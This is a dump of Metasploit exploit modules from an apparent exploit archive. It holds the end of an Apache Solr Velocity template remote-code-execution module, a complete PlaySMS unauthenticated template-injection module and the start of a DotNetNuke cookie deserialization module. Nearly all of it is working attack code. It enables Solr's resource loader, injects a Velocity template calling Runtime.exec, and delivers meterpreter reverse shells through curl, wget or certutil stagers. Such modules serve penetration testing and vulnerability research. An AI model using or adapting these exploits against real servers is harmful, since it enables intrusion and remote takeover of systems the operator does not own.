|
||||
From the Tenable advisory:
|
||||
An attacker could target a vulnerable Apache Solr instance by first identifying a list
|
||||
of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
|
||||
HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
|
||||
Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
|
||||
template parameter in a specially crafted Solr request, leading to RCE.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
's00py', # Discovery and PoC
|
||||
'jas502n', # exploit code on Github
|
||||
'AleWong', # ExploitDB contribution, and exploit code on Github
|
||||
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '47572' ],
|
||||
[ 'CVE', '2019-17558' ],
|
||||
[ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
|
||||
[ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
|
||||
[ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
|
||||
[ 'URL', 'https://github.com/jas502n/solr_rce'],
|
||||
[ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
|
||||
],
|
||||
'Platform' => ['linux', 'unix', 'win'],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Unix (in-memory)',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux (dropper)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
|
||||
'CmdStagerFlavor' => %w[curl wget]
|
||||
}
|
||||
],
|
||||
[
|
||||
'x86/x64 Windows PowerShell',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :windows_psh,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
|
||||
}
|
||||
],
|
||||
[
|
||||
'x86/x64 Windows CmdStager',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :windows_cmdstager,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
|
||||
'CmdStagerFlavor' => %w[vbs certutil]
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Exec',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :windows_exec,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => "2019-10-29", # ISO-8601 formatted
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8983),
|
||||
OptString.new('USERNAME', [false, 'Solr username', 'solr']),
|
||||
OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
|
||||
OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# if we are going to exploit, we only need one core to be exploitable
|
||||
@vuln_core = ""
|
||||
# OS specific stuff
|
||||
@target_platform = ""
|
||||
# if authentication is used
|
||||
@auth_string = ""
|
||||
|
||||
def check_auth
|
||||
# see if authentication is required for the specified Solr instance
|
||||
auth_check = solr_get('uri' => normalize_uri(target_uri.path))
|
||||
|
||||
# successfully connected?
|
||||
unless auth_check
|
||||
print_bad("Connection failed!")
|
||||
return nil
|
||||
end
|
||||
|
||||
# if response code is not 200, then the Solr instance definitely requires authentication
|
||||
unless auth_check.code == 200
|
||||
# if authentication is required and creds are not provided, we cannot reliably check exploitability
|
||||
if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
|
||||
print_bad("Credentials not provided, skipping credentialed check...")
|
||||
return nil
|
||||
end
|
||||
|
||||
# otherwise, try the given creds
|
||||
auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)
|
||||
|
||||
# successfully connected?
|
||||
unless attempt_auth
|
||||
print_bad("Connection failed!")
|
||||
return nil
|
||||
end
|
||||
# if the return code is not 200, then authentication definitely failed
|
||||
unless attempt_auth.code == 200
|
||||
print_bad("Invalid credentials!")
|
||||
return nil
|
||||
end
|
||||
|
||||
store_valid_credential(
|
||||
user: datastore['USERNAME'],
|
||||
private: datastore['PASSWORD'],
|
||||
private_type: :password,
|
||||
proof: attempt_auth.to_s
|
||||
)
|
||||
|
||||
@auth_string = auth_string
|
||||
end
|
||||
# a placeholder return value. Not requiring auth should throw no errors
|
||||
""
|
||||
end
|
||||
|
||||
# check for vulnerability existence
|
||||
def check
|
||||
auth_res = check_auth
|
||||
unless auth_res
|
||||
return CheckCode::Unknown("Authentication failed!")
|
||||
end
|
||||
|
||||
# send a GET request to get Solr and system details
|
||||
ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)
|
||||
|
||||
# can't connect? that's an automatic failure
|
||||
unless ver
|
||||
return CheckCode::Unknown("Connection failed!")
|
||||
end
|
||||
|
||||
# convert to JSON
|
||||
ver_json = ver.get_json_document
|
||||
# get Solr version
|
||||
solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
|
||||
print_status("Found Apache Solr #{solr_version}")
|
||||
# get OS version details
|
||||
@target_platform = ver_json['system']['name']
|
||||
target_arch = ver_json['system']['arch']
|
||||
target_osver = ver_json['system']['version']
|
||||
print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
|
||||
# uname doesn't show up for Windows, so run a check for that
|
||||
if ver_json['system']['uname']
|
||||
# print uname only when verbose
|
||||
vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
|
||||
end
|
||||
|
||||
# the vulnerability is only present in Solr versions <= 8.3.0
|
||||
unless solr_version <= Gem::Version.new('8.3.0')
|
||||
return CheckCode::Safe("Running version of Solr is not vulnerable!")
|
||||
end
|
||||
|
||||
# enumerate cores
|
||||
cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)
|
||||
|
||||
# can't connect? that's yet another automatic failure
|
||||
unless cores
|
||||
return CheckCode::Unknown("Could not enumerate cores!")
|
||||
end
|
||||
|
||||
# convert to JSON yet again
|
||||
cores_json = cores.get_json_document
|
||||
# draw up an array of all the cores
|
||||
cores_list = Array.new
|
||||
# get the core names
|
||||
cores_json['status'].keys.each do |core_name|
|
||||
cores_list.push(core_name)
|
||||
end
|
||||
|
||||
# no cores? that means nothing to exploit.
|
||||
if cores_list.empty?
|
||||
return CheckCode::Safe("No cores found, nothing to exploit!")
|
||||
end
|
||||
|
||||
# got cores? tell the operator which cores were found
|
||||
print_status("Found core(s): #{cores_list.join(', ')}")
|
||||
possibly_vulnerable_cores = {}
|
||||
|
||||
cores_list.each do |core|
|
||||
# for each core, attempt to get config
|
||||
core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)
|
||||
|
||||
# can't retrieve configuration for that core? go next
|
||||
unless core_config
|
||||
print_error("Could not retrieve configuration for core #{core}!")
|
||||
next
|
||||
end
|
||||
|
||||
# convert to JSON
|
||||
core_config_json = core_config.get_json_document
|
||||
# if the core configuration does not include the Velocity Response Writer, it isn't vulnerable
|
||||
if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
|
||||
vprint_good("Found Velocity Response Writer in use by core #{core}")
|
||||
if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
|
||||
vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
|
||||
possibly_vulnerable_cores.store(core, true)
|
||||
else
|
||||
# if params.resource.loader.enabled is false, we need to set it to true before exploitation
|
||||
print_warning("params.resource.loader.enabled for core #{core} is set to false.")
|
||||
possibly_vulnerable_cores.store(core, false)
|
||||
end
|
||||
else
|
||||
vprint_error("Velocity Response Writer not found in core #{core}")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
# look at the array of possibly vulnerable cores
|
||||
if possibly_vulnerable_cores.empty?
|
||||
CheckCode::Safe("No cores are vulnerable!")
|
||||
else
|
||||
# if possible, pick a core that already has params.resource.loader.enabled set to true
|
||||
possibly_vulnerable_cores.each do |core|
|
||||
if core[1] == true
|
||||
@vuln_core = core
|
||||
break
|
||||
end
|
||||
end
|
||||
# otherwise, just pick the first one
|
||||
if @vuln_core.to_s == ""
|
||||
@vuln_core = possibly_vulnerable_cores.first
|
||||
end
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
# the exploit method
|
||||
def exploit
|
||||
unless [CheckCode::Vulnerable].include? check
|
||||
fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
|
||||
end
|
||||
|
||||
print_status("Targeting core '#{@vuln_core[0]}'")
|
||||
|
||||
# if params.resource.loader.enabled for that core is false
|
||||
if @vuln_core[1] != true
|
||||
# the new config in JSON format
|
||||
enable_params_resource_loader = {
|
||||
"update-queryresponsewriter": {
|
||||
"startup": "lazy",
|
||||
"name": "velocity",
|
||||
"class": "solr.VelocityResponseWriter",
|
||||
"template.base.dir": "",
|
||||
"solr.resource.loader.enabled": "true",
|
||||
"params.resource.loader.enabled": "true"
|
||||
}
|
||||
}.to_json
|
||||
|
||||
opts_post = {
|
||||
'method' => 'POST',
|
||||
'connection' => 'Keep-Alive',
|
||||
'ctype' => 'application/json;charset=utf-8',
|
||||
'encode_params' => false,
|
||||
'uri' => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
|
||||
'data' => enable_params_resource_loader
|
||||
}
|
||||
|
||||
unless @auth_string == ""
|
||||
opts_post.store('authorization', @auth_string)
|
||||
end
|
||||
|
||||
print_status("params.resource.loader.enabled is false, setting it to true...")
|
||||
update_config = send_request_cgi(opts_post)
|
||||
|
||||
unless update_config
|
||||
fail_with Failure::Unreachable, "Connection failed!"
|
||||
end
|
||||
|
||||
# if we got anything other than a 200 back, the configuration update failed and the exploit won't work
|
||||
unless update_config.code == 200
|
||||
fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
|
||||
end
|
||||
|
||||
print_good("params.resource.loader.enabled is now set to true!")
|
||||
end
|
||||
|
||||
# windows...
|
||||
if @target_platform.include? "Windows"
|
||||
# if target is wrong, warn and exit before doing anything
|
||||
unless target.name.include? "Windows"
|
||||
fail_with Failure::NoTarget, "Target is found to be Windows, please select the proper target!"
|
||||
end
|
||||
|
||||
case target['Type']
|
||||
# PowerShell...
|
||||
when :windows_psh
|
||||
# need PowerShell for this
|
||||
winenv_path = execute_command("C:\\Windows\\System32\\cmd.exe /c PATH", 'auth_string' => @auth_string, 'core_name' => @vuln_core[0], 'winenv_check' => true)
|
||||
unless winenv_path
|
||||
fail_with Failure::Unreachable, "Connection failed!"
|
||||
end
|
||||
|
||||
# did the command to check for PATH execute?
|
||||
unless winenv_path.code == 200
|
||||
fail_with Failure::UnexpectedReply, "Unexpected reply from target, aborting!"
|
||||
end
|
||||
|
||||
# is PowerShell in PATH?
|
||||
if /powershell/i =~ winenv_path.body.to_s
|
||||
# only interested in the contents of PATH. Everything before it is irrelevant
|
||||
paths = winenv_path.body.split('=')[1]
|
||||
# confirm that PowerShell exists in the PATH by checking each one
|
||||
paths.split(';').each do |path_val|
|
||||
# if PowerShell exists in PATH, then we are good to go
|
||||
unless /powershell/i =~ path_val
|
||||
next
|
||||
end
|
||||
|
||||
print_good("Found Powershell at #{path_val}")
|
||||
# generate PowerShell command, encode with base64, and remove comspec
|
||||
psh_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
|
||||
# specify full path to PowerShell
|
||||
psh_cmd.insert(0, path_val)
|
||||
# exploit the thing
|
||||
execute_command(psh_cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
||||
break
|
||||
end
|
||||
else
|
||||
fail_with Failure::BadConfig, "PowerShell not found!"
|
||||
end
|
||||
# ... CmdStager ...
|
||||
when :windows_cmdstager
|
||||
print_status("Sending CmdStager payload...")
|
||||
execute_cmdstager(linemax: 7130, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
||||
# ... or plain old exec?
|
||||
when :windows_exec
|
||||
cmd = "C:\\Windows\\System32\\cmd.exe /c #{payload.encoded}"
|
||||
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
||||
end
|
||||
end
|
||||
|
||||
# ... or nix-based?
|
||||
if @target_platform.include? "Linux"
|
||||
# if target is wrong, warn and exit before doing anything
|
||||
if target.name.include? "Windows"
|
||||
fail_with Failure::NoTarget, "Target is found to be nix-based, please select the proper target!"
|
||||
end
|
||||
|
||||
case target['Type']
|
||||
when :linux_dropper
|
||||
execute_cmdstager('auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
||||
when :unix_memory
|
||||
cmd = "/bin/bash -c $@|/bin/bash . echo #{payload.encoded}"
|
||||
execute_command(cmd, 'auth_string' => @auth_string, 'core_name' => @vuln_core[0])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# some prep work has to be done to work around the limitations of Java's Runtime.exec()
|
||||
def execute_cmdstager_begin(_opts)
|
||||
if @target_platform.include? "Windows"
|
||||
@cmd_list.each do |command|
|
||||
command.insert(0, "C:\\Windows\\System32\\cmd.exe /c ")
|
||||
end
|
||||
else
|
||||
@cmd_list.each do |command|
|
||||
command.insert(0, "/bin/bash -c $@|/bin/bash . echo ")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# sic 'em, bois!
|
||||
def execute_command(cmd, opts = {})
|
||||
# custom template which enables command execution
|
||||
template = <<~VELOCITY
|
||||
#set($x="")
|
||||
#set($rt=$x.class.forName("java.lang.Runtime"))
|
||||
#set($chr=$x.class.forName("java.lang.Character"))
|
||||
#set($str=$x.class.forName("java.lang.String"))
|
||||
VELOCITY
|
||||
|
||||
# attempts to solve the quoting problem, partially successful
|
||||
if target.name.include?("Unix")
|
||||
template += <<~VELOCITY
|
||||
#set($ex=$rt.getRuntime().exec("#{cmd}"))
|
||||
VELOCITY
|
||||
else
|
||||
template += <<~VELOCITY
|
||||
#set($ex=$rt.getRuntime().exec('#{cmd}'))
|
||||
VELOCITY
|
||||
end
|
||||
|
||||
template += <<~VELOCITY
|
||||
$ex.waitFor()
|
||||
VELOCITY
|
||||
|
||||
# the next 2 lines cause problems with CmdStager, so it's only used when needed
|
||||
# during the check for PowerShell existence, or by specific payloads
|
||||
if opts['winenv_check'] || target['Type'] == :windows_exec || target['Type'] == :unix_memory
|
||||
template += <<~VELOCITY
|
||||
#set($out=$ex.getInputStream())
|
||||
#if($out.available())
|
||||
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
|
||||
#else
|
||||
#end
|
||||
VELOCITY
|
||||
end
|
||||
|
||||
# execute the exploit...
|
||||
raw_result = solr_get(
|
||||
'uri' => normalize_uri(target_uri.path, opts['core_name'].to_s, 'select'),
|
||||
'auth' => opts['auth_string'],
|
||||
'vars_get' => {
|
||||
'q' => '1',
|
||||
'wt' => 'velocity',
|
||||
'v.template' => 'custom',
|
||||
'v.template.custom' => template
|
||||
}
|
||||
)
|
||||
|
||||
# Executing PATH always gives a result, so it can return safely
|
||||
if opts['winenv_check']
|
||||
return raw_result
|
||||
end
|
||||
|
||||
# for printing command output
|
||||
unless raw_result.nil?
|
||||
unless raw_result.code == 200
|
||||
fail_with Failure::PayloadFailed, "Payload failed to execute!"
|
||||
end
|
||||
|
||||
# to get pretty output
|
||||
result_inter = raw_result.body.to_s.sub("0\n", ":::").split(":::").last
|
||||
unless result_inter.nil?
|
||||
final_result = result_inter.split("\n").first.strip
|
||||
print_good(final_result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# make sending requests easier
|
||||
def solr_get(opts = {})
|
||||
send_request_cgi_opts = {
|
||||
'method' => 'GET',
|
||||
'connection' => 'Keep-Alive',
|
||||
'uri' => opts['uri']
|
||||
}
|
||||
|
||||
# @auth_string defaults to "" if no authentication is necessary
|
||||
# otherwise, authentication is required
|
||||
if opts['auth'] != ""
|
||||
send_request_cgi_opts.store('authorization', opts['auth'])
|
||||
end
|
||||
|
||||
# a bit unrefined, but should suffice in this case
|
||||
if opts['vars_get']
|
||||
send_request_cgi_opts.store('vars_get', opts['vars_get'])
|
||||
end
|
||||
|
||||
send_request_cgi(send_request_cgi_opts)
|
||||
end
|
||||
end
|
153
exploits/php/remote/48335.rb
Executable file
153
exploits/php/remote/48335.rb
Executable file
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
|
||||
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
|
||||
PHP template system called 'TPL' which is used in the PlaySMS template engine at
|
||||
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
|
||||
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
|
||||
second time, results in code execution.
|
||||
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
|
||||
|
||||
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Touhid M.Shaikh <touhidshaikh22[at]gmail.com>', # Metasploit Module
|
||||
'Lucas Rosevear' # Found and Initial PoC by NCC Group
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2020-8644'],
|
||||
['URL', 'https://www.youtube.com/watch?v=zu-bwoAtTrc'],
|
||||
['URL', 'https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => false,
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||
'ENCODER' => 'php/base64'
|
||||
},
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'PlaySMS Before 1.4.3', {} ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => '2020-02-05'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Base playsms directory path', '/']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def uri
|
||||
return target_uri.path
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'index.php')
|
||||
})
|
||||
rescue StandardError
|
||||
vprint_error('Unable to access the index.php file')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_auth&route=login')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
# Send Payload in Login Request
|
||||
def login
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'app' => 'main',
|
||||
'inc' => 'core_auth',
|
||||
'route' => 'login'
|
||||
}
|
||||
})
|
||||
|
||||
# Grabbing CSRF token from body
|
||||
/name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine the CSRF token") if csrf.nil?
|
||||
vprint_good("X-CSRF-Token for login : #{csrf}")
|
||||
|
||||
cookies = res.get_cookies
|
||||
|
||||
vprint_status('Trying to send the payload in the username field...')
|
||||
|
||||
# Encoded in base64 to avoid HTML TAGS which are filter by the Application which is also blocking semicolon(;), that is why we're using delete_suffix(';')
|
||||
evil = "{{#{payload.encoded.delete_suffix(';')}}}"
|
||||
|
||||
# Send Payload with cookies.
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'cookie' => cookies,
|
||||
'vars_get' => Hash[{
|
||||
'app' => 'main',
|
||||
'inc' => 'core_auth',
|
||||
'route' => 'login',
|
||||
'op' => 'login'
|
||||
}.to_a.shuffle],
|
||||
'vars_post' => Hash[{
|
||||
'X-CSRF-Token' => csrf,
|
||||
'username' => evil,
|
||||
'password' => ''
|
||||
}.to_a.shuffle]
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") if res.nil?
|
||||
|
||||
# Request Status Check
|
||||
if res.code == 302
|
||||
print_good('Payload successfully sent')
|
||||
return cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Something went wrong")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
cookies = login
|
||||
vprint_status("Cookies here : #{cookies}")
|
||||
# Execute Last Sent Username.
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'method' => 'GET',
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'app' => 'main',
|
||||
'inc' => 'core_auth',
|
||||
'route' => 'login'
|
||||
}
|
||||
}, 0)
|
||||
end
|
||||
end
|
970
exploits/windows/remote/48336.rb
Executable file
970
exploits/windows/remote/48336.rb
Executable file
|
@ -0,0 +1,970 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'openssl'
|
||||
require 'set'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
# =================================
|
||||
# Overidden setup method to allow
|
||||
# for delayed handler start
|
||||
# =================================
|
||||
def setup
|
||||
# Reset the session counts to zero.
|
||||
reset_session_counts
|
||||
|
||||
return if !payload_instance
|
||||
return if !handler_enabled?
|
||||
|
||||
# Configure the payload handler
|
||||
payload_instance.exploit_config = {
|
||||
'active_timeout' => active_timeout
|
||||
}
|
||||
|
||||
# payload handler is normally set up and started here
|
||||
# but has been removed so we can start the handler when needed.
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => "DotNetNuke Cookie Deserialization Remote Code Execution",
|
||||
'Description' => %q(
|
||||
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
|
||||
Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
|
||||
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
|
||||
The cookie is processed by the application whenever it attempts to load the current user's profile data.
|
||||
This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
|
||||
An attacker can leverage this vulnerability to execute arbitrary code on the system.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Jon Park', 'Jon Seigel' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-9822' ],
|
||||
[ 'CVE', '2018-15811'],
|
||||
[ 'CVE', '2018-15812'],
|
||||
[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
|
||||
[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
|
||||
[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
|
||||
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
|
||||
[ 'URL', 'https://github.com/pwntester/ysoserial.net']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { 'auto' => true } ],
|
||||
[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
|
||||
[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
|
||||
[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
|
||||
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
|
||||
],
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Payload' =>
|
||||
{
|
||||
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jul 20 2017",
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 },
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
deregister_options('SRVHOST')
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
|
||||
OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
|
||||
OptString.new('VERIFICATION_PLAIN', [false, %q(The known (full or partial) plaintext of the encrypted verification code.
|
||||
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), '']),
|
||||
OptBool.new('ENCRYPTED', [true, %q(Whether or not to encrypt the final payload cookie;
|
||||
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.), false]),
|
||||
OptString.new('KEY', [false, 'The key to use for encryption.', '']),
|
||||
OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
|
||||
OptString.new('SESSION_TOKEN', [false, %q(The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
|
||||
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.), '']),
|
||||
OptString.new('VERIFICATION_CODE', [false, %q(The encrypted verification code received in a registration email.
|
||||
Can also be the path to a file containing a list of verification codes.), ''])
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
initialize_instance_variables
|
||||
end
|
||||
|
||||
def initialize_instance_variables
|
||||
# ==================
|
||||
# COMMON VARIABLES
|
||||
# ==================
|
||||
|
||||
@target_idx = 0
|
||||
|
||||
# Flag for whether or not to perform exploitation
|
||||
@dry_run = false
|
||||
|
||||
# Flag for whether or not the target requires encryption
|
||||
@encrypted = false
|
||||
|
||||
# Flag for whether or not to attempt to decrypt the provided verification token(s)
|
||||
@try_decrypt = false
|
||||
|
||||
# ==================
|
||||
# PAYLOAD VARIABLES
|
||||
# ==================
|
||||
|
||||
# ObjectStateFormatter serialized header
|
||||
@osf_header = [255, 1, 50]
|
||||
|
||||
# ObjectStateFormatter serialized data before the command payload
|
||||
@osf_wrapper_start = [
|
||||
0, 1, 0, 0, 0, 255, 255, 255, 255, 1, 0, 0, 0, 0, 0, 0, 0, 12, 2, 0, 0, 0, 73,
|
||||
83, 121, 115, 116, 101, 109, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
|
||||
46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101,
|
||||
117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84,
|
||||
111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101,
|
||||
48, 56, 57, 5, 1, 0, 0, 0, 132, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111,
|
||||
108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105,
|
||||
99, 46, 83, 111, 114, 116, 101, 100, 83, 101, 116, 96, 49, 91, 91, 83, 121,
|
||||
115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99, 111,
|
||||
114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52, 46, 48,
|
||||
46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110, 101, 117,
|
||||
116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101, 121, 84, 111,
|
||||
107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51, 52, 101, 48, 56,
|
||||
57, 93, 93, 4, 0, 0, 0, 5, 67, 111, 117, 110, 116, 8, 67, 111, 109, 112, 97,
|
||||
114, 101, 114, 7, 86, 101, 114, 115, 105, 111, 110, 5, 73, 116, 101, 109, 115,
|
||||
0, 3, 0, 6, 8, 141, 1, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101,
|
||||
